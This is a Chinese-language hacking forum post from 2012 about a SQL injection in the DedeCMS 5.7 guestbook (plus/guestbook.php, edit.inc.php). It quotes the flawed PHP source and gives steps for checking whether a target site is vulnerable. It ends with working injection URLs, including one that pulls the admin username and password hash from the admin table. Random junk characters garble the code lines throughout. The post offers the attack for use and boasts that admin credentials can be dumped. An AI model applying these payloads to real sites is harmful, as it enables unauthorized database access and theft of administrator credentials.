找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3716|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7: M3 i$ ^; {! H0 ]  D

" m& Q% m  b' E( x4 f' m* B8 x漏洞文件edit.inc.php具体代码:0 a( ?& H- D. N
/ V0 m1 i& x& d; d2 F1 i0 u0 E( W
< ?php  
+ \8 \2 \8 o2 b' c
3 k0 F$ y. w* u. f, ~if(!defined('DEDEINC')) exit('Request Error!');  ( X1 n$ ~! s4 Q; I

/ H/ I0 Y3 r# p4 t   
4 ~3 {# d% M! ~; I# V$ c+ }' E8 X9 D) w; C
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
2 @! B/ G( J0 ~3 |! A2 q1 d& O# K0 m/ }0 ]- K4 x' u
else $GUEST_BOOK_POS = "guestbook.php";  
# h) l/ r7 i) d. J4 n8 J. Y1 B! W; g) U' a  e4 G, v
   
& A2 N( P% Q& W& f+ r! `/ |0 A: U7 Q* u4 a6 y: _1 w  K) A, v
$id = intval($id);  
- H: h/ x/ N/ {  O
9 a. d( N9 x1 U8 ~" ]if(empty($job)) $job='view';  1 a2 V% B/ x0 X; h0 U& _9 p

/ n, L1 X" o7 c   
8 b& A: ]* z$ m, [& P7 t0 x
' t  m  N" I% J  @if($job=='del' && $g_isadmin)  
3 K, U+ y+ t3 ?; k" x
7 G( j) p: H: x- x* p{    v: k- n9 l% y7 s. N6 m- b

$ q% b5 _* Q7 L; F0 n2 R$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  & z& i5 V- L! m* C4 b9 B2 F
! g% B6 r* M& l2 m2 @$ |7 T" s( W
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
" @* F7 d5 i% |: p) t3 d+ M' C9 D* S) {! i" L
exit();  ' b* @7 O5 n$ k5 U

6 t# T" D& j% P; c( r}  
1 D% Y" G2 N0 r" J" Y9 \, q; g3 _2 Y* A$ |. x
else if($job=='check' && $g_isadmin)  5 N3 i3 x! i( S0 G3 a. s) A

& g% X7 q1 a( @+ `" G{  
: x- Q- ^) F7 k* N1 ]0 R; J1 p
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  6 f# `; C+ b8 E3 q

9 D( K; f* h" c8 a' k6 m0 T7 HShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  " ?6 S% T0 I+ @3 M

* I" y2 L9 ^8 a* Vexit();  
* B( ^9 X0 G7 L! ?# J% T: n* Z( {0 E4 j" G! `, ^8 {* S9 i3 ]
}  
8 @* F; r. C5 z8 v+ f8 g- f" R, c  }
else if($job=='editok')  
1 a# i1 V! J; J8 O  C
* Z" L1 ]2 Y' V7 F! y7 U/ @7 q/ y8 @; ~{  / ~5 ^& Q7 S6 }

4 r) l7 a) U6 v, C- F4 u$remsg = trim($remsg);  
4 Q9 a" X4 i6 \8 D
: N4 V# F5 i2 Y' M9 ]3 Rif($remsg!='')  
# q$ H; c  E1 [: q; `3 k/ S2 M0 H1 b; `- q
{  
3 l& W7 V/ Y- u* `$ E/ C) _$ |: v+ c% h& y7 F, ^4 W4 ]0 S
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
3 l) U: T3 I. ^/ ^0 {$ B/ b/ q' L: `4 s( k- V7 I9 ~7 }; ]
if($g_isadmin)  
. C% I6 h  i3 c( B& o+ L" p! F1 T7 O' h6 h% K
{  ( |0 P* B" }2 z9 }8 C$ E

' i; t: z5 W. w$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  1 r% I, Z' S8 r5 t- B0 G. A) z" Q
- `. c9 i7 x$ m3 e9 h
//$remsg <br /><font color=red>管理员回复:</font> }  
3 J! ?7 f; }" e7 Z& |  W5 m. T( l+ D: u" ~% u! ~6 c5 G6 i+ X
else
5 R$ e7 k) P7 n5 _! D1 F2 p
. Y7 e3 b1 l4 e" d$ p7 S{  3 E- k7 C, L( S' T

- f! t* u$ [$ @% f; a1 B$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
1 q6 z! z6 G; y  Y
6 _. ~& |; h  T# q# F# P1 `$ K: i& T$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  / ]5 N7 Y' R- ]7 Q5 j
4 S& s% J# r. G; u
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  : P! i9 O: b; X

" x) t; g5 t8 B" d8 y$msg = $oldmsg.$remsg;  
& c9 W* w# \( s0 e* J2 g: \: |% J" K2 x8 J( @
}  7 M; M! {0 U4 G" D1 m9 Z
( F1 s! Y5 [+ U6 N: U, j$ @6 U7 S& E
}    q; @/ c9 H* g( {' i
- Z8 n0 }* F; }5 K
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
6 f4 o' A1 h1 I  \, Q1 x6 C4 z
) O& C0 @1 u9 v2 D. h$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
4 u% K0 s- j% w# s
, X  |( k) o# {7 KShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
* v0 u! ?+ J. r. b. U" M1 r4 g+ p) u' u. N& C3 s1 K( z; x
exit();  
, G1 q! f2 o7 E: }: \0 h: J  `0 {  u2 j
}  . h& I; ?. h) m' M* t5 m

' F6 X3 d& S' R: j) R3 ?# O5 T//home:www.errs.cc  8 m, E; _# k9 [1 |8 e% j

8 [, g$ }/ \2 D8 ~2 }if($g_isadmin)  
+ Q8 ?' `6 g/ K/ k- F8 A  Z" G8 c- ^$ R' O7 B' }5 O8 D
{  2 @; s: k" M  w4 S0 d$ `3 W

4 M- l7 o* b$ Z* h8 e$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  2 ]4 {9 H/ F9 z6 k0 W& Q

9 g- `! ]' e. G) e) Qrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  6 n& B" ]+ g6 B' Q
- _4 D' W( t; Z' S6 c: ]
}  6 n; b- X, e+ y! ?# J6 j

3 E; u2 u- u  pelse / i5 W* h( }' w
' v3 i( i) g1 S8 |* `8 }
{  3 l# w. c3 k( @

9 y; L0 @' g( e: y- t8 C1 N6 {$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
/ u* U8 k9 ^1 ^/ F! L. s8 }' U+ ~
8 X1 z4 w! G' r& r8 i9 Y: I/ J/ grequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
' T& w/ T% z2 e# Q2 n
3 @0 T7 A. r. m8 h} 漏洞成功需要条件:
: r/ u  M7 P6 ?7 c0 I9 C) w/ S1. php magic_quotes_gpc=off
8 Q2 ?/ Q. A0 l2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。) ^6 H6 ?! h; T/ y% W$ U2 }  M* F# Z

7 h# b3 r& W: _$ |怎么判断是否存在漏洞:4 y( C% U& W& b; \- I5 E
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
( b, F1 I0 N- Q! d, j4 e然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID: `/ d6 s/ l! }. ?0 H8 J' x$ `, y
访问:" s) v# c" Q1 W( O
/ v1 Z8 B, [+ n8 b1 V" l* }' h
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
9 N* `2 p/ _; T' Y' O" V& x2 ]跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
$ P4 G' `4 @  G* K
" K% u/ s# ?, I- A3 c; o/ I4 g- w* m: b; D. _  D  f4 O3 n
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off! v, o. c! g9 V9 F& |/ ^
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。. i5 `2 V, W! z( j- X- g0 ~0 b/ \
那么再次访问
* W& G2 x1 u+ q* l$ N' d4 n
3 N- g% w7 W* [5 j  d8 H! U) S5 P% Twww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 \; b& u: e, n
) R7 w/ h( J7 s6 q: ^) ^' V( ^大概利用就是这样,大家有兴趣的多研究下!!
' Y0 z7 O4 ]/ G/ B  @3 ~7 ?* o# X! X# b" I! z/ \" _3 E; i
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
% A/ N6 g. ?; ]
5 P$ ~# G" \3 @view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表